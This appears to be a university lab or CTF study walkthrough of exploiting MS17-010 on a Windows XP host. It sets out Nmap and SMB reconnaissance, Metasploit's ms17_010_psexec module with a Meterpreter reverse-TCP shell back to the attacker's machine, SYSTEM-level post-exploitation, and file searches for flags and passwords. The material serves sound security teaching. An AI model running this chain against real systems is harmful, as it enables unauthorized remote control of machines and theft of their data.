Source: Juni_2026_Exams/Penetration_Testing/solutions/ms17-010-windows-xp-successful-exploitation.md

MS17-010 Windows XP Successful Exploitation Walkthrough

Scope and Goal

This walkthrough documents a successful exploitation path from network enumeration to a SYSTEM-level Meterpreter session during the authorized university CTF/lab exercise.

Use this only as an exam-study reference inside the allowed lab scope.

For the broader live-lab handoff and raw terminal evidence across all targets, see live-lab-evidence-handoff-and-target-playbooks.md.

Target:

IP: 192.168.2.163
Hostname: LUCIANO-4A69E49
OS: Windows XP SP3, x86
Primary vulnerable service: SMB on TCP/445
Confirmed vulnerability: MS17-010
Exploit used: exploit/windows/smb/ms17_010_psexec
Result: Meterpreter session as NT AUTHORITY\SYSTEM

Why This Target Was Interesting

The first important observation was that the host exposed classic Windows file sharing and remote administration ports:

135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

This combination matters in a CTF because:

445/tcp is SMB, the main service affected by MS17-010.
Windows XP is old and no longer supported.
SMBv1-era systems are common exam targets.
RDP on 3389/tcp suggests an interactive Windows host, but SMB was the

stronger first attack surface.

The detailed Nmap scan confirmed Windows XP:

OS: Windows XP (Windows 2000 LAN Manager)
Computer name: luciano-4a69e49
NetBIOS computer name: LUCIANO-4A69E49
Workgroup: WORKGROUP
SMB2 negotiation failed
message_signing: disabled

Why this matters:

SMB2 negotiation failed is consistent with older Windows/SMB behavior.
message_signing: disabled means SMB signing is not protecting SMB traffic.
Windows XP plus SMB on 445 is a strong MS17-010 candidate.

Reconnaissance Commands

Run a targeted scan once the host is discovered:

nmap -Pn -sC -sV -p 135,139,445,3389 192.168.2.163

Use SMB vulnerability scripts:

nmap -Pn --script smb-vuln* -p 139,445 192.168.2.163

Optional SMB enumeration:

enum4linux-ng 192.168.2.163
smbclient -L //192.168.2.163/ -N

What we are proving:

The host is alive.
SMB is reachable.
The operating system is old enough to be a plausible MS17-010 target.
Anonymous SMB or guest information may reveal shares, users, or host names.

MS17-010 Vulnerability Check

Inside Metasploit:

msfconsole
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.2.163
run

Observed result:

[+] 192.168.2.163:445 - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86 (32-bit)
[*] 192.168.2.163:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Why this matters:

Windows 5.1 means Windows XP.
x86 (32-bit) tells us to use a 32-bit Windows payload.
The scanner only checks vulnerability. It does not open a shell by itself.

Exploitation With Metasploit

Use the psexec-style MS17-010 module:

use exploit/windows/smb/ms17_010_psexec
set RHOSTS 192.168.2.163
set RPORT 445
set LHOST 192.168.2.32
set LPORT 4444
set PAYLOAD windows/meterpreter/reverse_tcp
check
run

Why these settings matter:

Setting	Purpose
`RHOSTS`	The victim/target IP address.
`RPORT`	SMB port, normally `445`.
`LHOST`	Kali/VPN/listening IP that receives the reverse shell.
`LPORT`	Local listener port on Kali.
`PAYLOAD`	Code delivered after exploitation; here, Meterpreter reverse TCP.

In this lab, Kali was on:

192.168.2.32

So LHOST had to be:

set LHOST 192.168.2.32

The module check confirmed vulnerability:

[+] 192.168.2.163:445 - The target is vulnerable.

Successful exploitation output:

[+] 192.168.2.163:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.2.163:445 - Uploading payload... PiUdxTeM.exe
[*] 192.168.2.163:445 - Created \PiUdxTeM.exe...
[+] 192.168.2.163:445 - Service started successfully...
[*] 192.168.2.163:445 - Deleting \PiUdxTeM.exe...
[*] Sending stage (177734 bytes) to 192.168.2.163
[*] Meterpreter session 1 opened (192.168.2.32:4444 -> 192.168.2.163:2312)

What this proves:

The exploit achieved code execution through SMB.
The module was able to create/start a temporary service.
The payload connected back to Kali.
A Meterpreter session opened successfully.

Post-Exploitation Proof

After the session opened:

sysinfo
getuid
pwd
ipconfig

Observed evidence:

Computer        : LUCIANO-4A69E49
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

Privilege proof:

Server username: NT AUTHORITY\SYSTEM

Working directory:

C:\WINDOWS\system32

Network proof:

IPv4 Address : 192.168.2.163
IPv4 Netmask : 255.255.255.0

Why this is enough for an exam answer:

sysinfo proves the target identity and OS.
getuid proves privilege level.
ipconfig proves the compromised host is the intended target.
Meterpreter x86/windows matches the Windows XP 32-bit finding.

Searching for Flags and Evidence

Initial Meterpreter searches:

search -f *flag*
search -f *.txt
search -f *proof*
search -f *user*

Observed *flag* results:

c:\WINDOWS\pchealth\helpctr\binaries\notiflag.exe
c:\WINDOWS\system32\dllcache\notiflag.exe
c:\WINDOWS\system32\oobe\images\wpaflag.jpg

Interpretation:

These are Windows system files, not CTF flags.
Do not stop at the first filename containing flag.
Always inspect the path and context.

Useful next places on Windows XP:

cd C:\\
ls
cd "C:\\Documents and Settings"
ls
cd "C:\\Documents and Settings\\Administrator\\Desktop"
ls
cd "C:\\Documents and Settings\\vm\\Desktop"
ls

From a Windows shell:

shell
whoami
hostname
dir C:\ /s /b | findstr /i flag
dir C:\ /s /b | findstr /i proof
dir C:\ /s /b | findstr /i user
dir C:\ /s /b | findstr /i password
exit

Why switch to shell sometimes:

Native Windows commands can search paths in familiar ways.
dir /s /b gives full paths.
findstr /i performs case-insensitive filtering.

What To Write In The Exam

Use this structure:

Target 192.168.2.163 exposed SMB on TCP/445 and was identified as Windows XP
SP3 x86. Because Windows XP SMB is a known MS17-010 candidate, I validated
the finding with Metasploit's smb_ms17_010 scanner. The scanner reported the
host as likely vulnerable to MS17-010 and identified Windows 5.1 x86.

I then used exploit/windows/smb/ms17_010_psexec with RHOSTS=192.168.2.163,
RPORT=445, LHOST=192.168.2.32, and payload
windows/meterpreter/reverse_tcp. The exploit opened Meterpreter session 1.
Post-exploitation commands confirmed LUCIANO-4A69E49, Windows XP SP3 x86,
and NT AUTHORITY\SYSTEM privileges.

Evidence lines to include:

Host is likely VULNERABLE to MS17-010 - Windows 5.1 x86 (32-bit)
Meterpreter session 1 opened
Computer: LUCIANO-4A69E49
OS: Windows XP (5.1 Build 2600, Service Pack 3)
Server username: NT AUTHORITY\SYSTEM
IPv4 Address: 192.168.2.163

Troubleshooting

If the exploit fails:

show options
check
set PAYLOAD windows/shell/reverse_tcp
run

If no callback arrives:

Verify LHOST is the Kali IP reachable by the victim.
Verify no wrong VPN/LAN interface was selected.
Try another LPORT, for example 5555.
Confirm the target still has 445/tcp open.

If Meterpreter is unstable:

set PAYLOAD windows/shell/reverse_tcp
run

If you need to list sessions:

sessions -l
sessions -i 1

Key Lessons

Always validate suspected vulnerabilities before exploiting.
Match payload architecture to the target: Windows XP here is x86.
RHOSTS is the target; LHOST is your Kali machine.
A successful exploit is not enough; prove access with sysinfo, getuid,

and ipconfig.

File names containing flag can be false positives. Confirm the path and

contents.

Record the exact command, output, and reasoning while working. This makes the

final exam write-up much easier.